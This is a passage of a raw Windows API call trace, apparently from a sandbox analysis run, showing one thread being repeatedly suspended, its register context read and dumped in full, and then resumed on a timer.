[50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.235] ResumeThread (hThread=0x170) returned 0x1 [0177.236] CloseHandle (hObject=0x170) returned 1 [0177.236] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.236] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.236] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.236] SuspendThread (hThread=0x170) returned 0x0 [0177.236] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.301] ResumeThread (hThread=0x170) returned 0x1 [0177.301] CloseHandle (hObject=0x170) returned 1 [0177.301] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.301] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.301] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.302] SuspendThread (hThread=0x170) returned 0x0 [0177.302] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.497] ResumeThread (hThread=0x170) returned 0x1 [0177.498] CloseHandle (hObject=0x170) returned 1 [0177.498] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.498] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.498] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.498] SuspendThread (hThread=0x170) returned 0x0 [0177.498] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.506] ResumeThread (hThread=0x170) returned 0x1 [0177.506] CloseHandle (hObject=0x170) returned 1 [0177.506] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.506] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.507] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.507] SuspendThread (hThread=0x170) returned 0x0 [0177.507] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.512] ResumeThread (hThread=0x170) returned 0x1 [0177.512] CloseHandle (hObject=0x170) returned 1 [0177.512] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.512] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.512] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, 